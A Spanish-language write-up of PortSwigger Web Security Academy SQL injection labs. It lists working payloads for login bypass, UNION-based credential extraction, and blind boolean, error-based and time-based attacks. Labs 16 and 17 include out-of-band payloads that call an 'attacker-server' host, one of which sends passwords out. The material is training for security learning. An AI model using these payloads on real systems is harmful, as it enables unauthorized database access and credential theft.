SQL INJECTION (PORTSWIGGER)

ROADMAP


SQL Injection es una vulnerabilidad de seguridad que permite a un atacante manipular consultas SQL ejecutadas por una aplicación web. Esto ocurre cuando los datos introducidos por el usuario se insertan directamente en consultas sin validación o sanitización adecuada.

Los siguientes laboratorios pertenecen a la plataforma PortSwigger Web Security Academy y muestran diferentes técnicas de explotación de SQL Injection, desde casos básicos hasta escenarios avanzados como Blind SQL Injection y exfiltración de datos.


APPRENTICE:
Lab 1 – SQL Injection en cláusula WHERE permitiendo recuperar datos ocultos

En este laboratorio se explota una vulnerabilidad SQL Injection presente en el parámetro category.

Evidencia:
/filter?category=Gifts'+OR+1=1--

El payload altera la condición lógica de la consulta devolviendo todos los registros.


Lab 2 – SQL Injection permitiendo bypass de autenticación
Lab 2.1 SQL Injection Login Bypass Lab 2.2 SQL Injection Login Bypass Lab 2.3 SQL Injection Login Bypass

El formulario de inicio de sesión es vulnerable a SQL Injection debido a que las credenciales introducidas por el usuario se insertan directamente en la consulta SQL de autenticación. Esto permite modificar la lógica de validación para acceder sin conocer la contraseña real.

Evidencia:

Username: administrator'-- , Password: admin1234

El comentario SQL (--) ignora la parte restante de la consulta, permitiendo iniciar sesión como administrador.


PRACTITIONER:
Lab 3 – SQL Injection para identificar tipo y versión de base de datos (Oracle)
Lab 3.1 SQL Injection Database Version Oracle Lab 3.2 SQL Injection Database Version Oracle Lab 3.3 SQL Injection Database Version Oracle

En este laboratorio se utiliza un ataque UNION para obtener información sobre el sistema gestor de base de datos. Oracle requiere consultas específicas para recuperar la versión del servidor.

Evidencia:
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

La consulta permite recuperar información sobre la versión de Oracle utilizada por la aplicación vulnerable.


Lab 4 – SQL Injection para identificar tipo y versión de base de datos (MySQL y MSSQL)
Lab 4.1 SQL Injection Database Version MySQL Lab 4.2 SQL Injection Database Version MySQL Lab 4.3 SQL Injection Database Version MySQL

Este laboratorio demuestra cómo identificar el motor de base de datos utilizado por una aplicación mediante consultas específicas soportadas por MySQL y Microsoft SQL Server.

Evidencia:
'+UNION+SELECT+@@version,+NULL#

El payload permite recuperar la versión del servidor de base de datos desde la respuesta de la aplicación.


Lab 5 – SQL Injection listando contenido de la base de datos

Se explota SQL Injection para enumerar las tablas existentes en la base de datos utilizando la tabla del sistema information_schema.

Evidencia:
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--

El resultado muestra las tablas disponibles, incluyendo la tabla de usuarios.


Lab 6 – SQL Injection listando contenido de la base de datos en Oracle

Se utiliza SQL Injection para enumerar tablas en una base de datos Oracle utilizando vistas del sistema como all_tables.

Evidencia:
' UNION SELECT table_name,NULL FROM all_tables--

La consulta permite identificar tablas existentes que pueden contener información sensible.


Lab 7 – SQL Injection UNION determinando el número de columnas

Se determina el número de columnas necesarias para un ataque UNION SELECT probando diferentes cantidades de valores NULL.

Evidencia:
'+UNION+SELECT+NULL,NULL--

Cuando el número coincide con el de la consulta original, el servidor procesa correctamente la solicitud.


Lab 8 – SQL Injection encontrando una columna que acepte texto

Después de identificar el número de columnas, se busca cuál permite datos de tipo texto para mostrar resultados.

Evidencia:
'+UNION+SELECT+'abcdef',NULL,NULL--

La respuesta permite identificar qué columna muestra datos textuales.


Lab 9 – SQL Injection extrayendo datos de otras tablas

Una vez identificadas las columnas correctas, se usa UNION SELECT para consultar otras tablas del sistema.

Evidencia:
'+UNION+SELECT+username,+password+FROM+users--

El resultado muestra credenciales almacenadas en la base de datos.


Lab 10 – SQL Injection recuperando múltiples valores en una sola columna

Cuando solo una columna es visible en la respuesta, se pueden concatenar múltiples valores para extraer información.

Evidencia:
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

El operador de concatenación permite combinar múltiples campos.


Lab 11 – Blind SQL Injection con respuestas condicionales

La aplicación no muestra resultados SQL directamente, por lo que se utilizan condiciones booleanas para observar cambios en la respuesta.

Evidencia:
TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'

La contraseña obtenida para este laboratorio fue: hs79w9y8vd8mo2hshr2f

Si la condición es verdadera, la página responde normalmente.


Lab 12 – Blind SQL Injection con errores condicionales

Se generan errores intencionales para inferir información sobre la base de datos.

Evidencia:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

La contraseña obtenida para este laboratorio fue: d7pb1wki8nntlgcmwrb4


Lab 13 – SQL Injection basada en errores visibles

Algunas aplicaciones muestran errores SQL directamente al usuario.

Evidencia:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--


Lab 14 – Blind SQL Injection con retrasos de tiempo

Se introduce un retraso cuando una condición es verdadera.

Evidencia: TrackingId=x'||pg_sleep(10)--


Lab 15 – Blind SQL Injection con retrasos y extracción de información

Permite extraer información carácter por carácter utilizando retrasos en la respuesta.

Evidencia:
'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

La contraseña obtenida para este laboratorio fue: 6udi36a8k88ioc9f9eda


Lab 16 – Blind SQL Injection con interacción Out-of-Band

Se utilizan servidores externos para confirmar la ejecución de consultas SQL.

Evidencia:
'; exec master..xp_dirtree '//attacker-server/test'--

El servidor intenta conectarse al servidor controlado por el atacante.

Nota: Este laboratorio no pudo ser desarrollado completamente debido a que requiere el uso de Burp Collaborator. Esta funcionalidad no se encuentra disponible en Burp Suite Community Edition, por lo que no fue posible verificar la interacción Out-of-Band con un servidor externo.

Lab 17 – Blind SQL Injection con exfiltración Out-of-Band

Permite enviar datos directamente a un servidor externo controlado por el atacante.

Evidencia:
'|| UTL_HTTP.REQUEST('http://attacker-server/'||password)--

Los datos sensibles se envían fuera del sistema vulnerable.

Nota: Este laboratorio no pudo ser desarrollado completamente debido a que requiere el uso de Burp Collaborator. Esta funcionalidad no se encuentra disponible en Burp Suite Community Edition, por lo que no fue posible verificar la interacción Out-of-Band con un servidor externo.

Lab 18 – SQL Injection con bypass de filtros mediante codificación XML

Algunas aplicaciones bloquean caracteres peligrosos, pero es posible evadir estos filtros mediante codificación.

Evidencia:
1 UNION SELECT username || '~' || password FROM users

La codificación permite evadir filtros de seguridad.

Nota: Para este laboratorio, se utilizó una herramienta externa llamada Cyberchef para poder convertir el comando en valores hexadecimales para llevar a cabo la vulnerabilidad.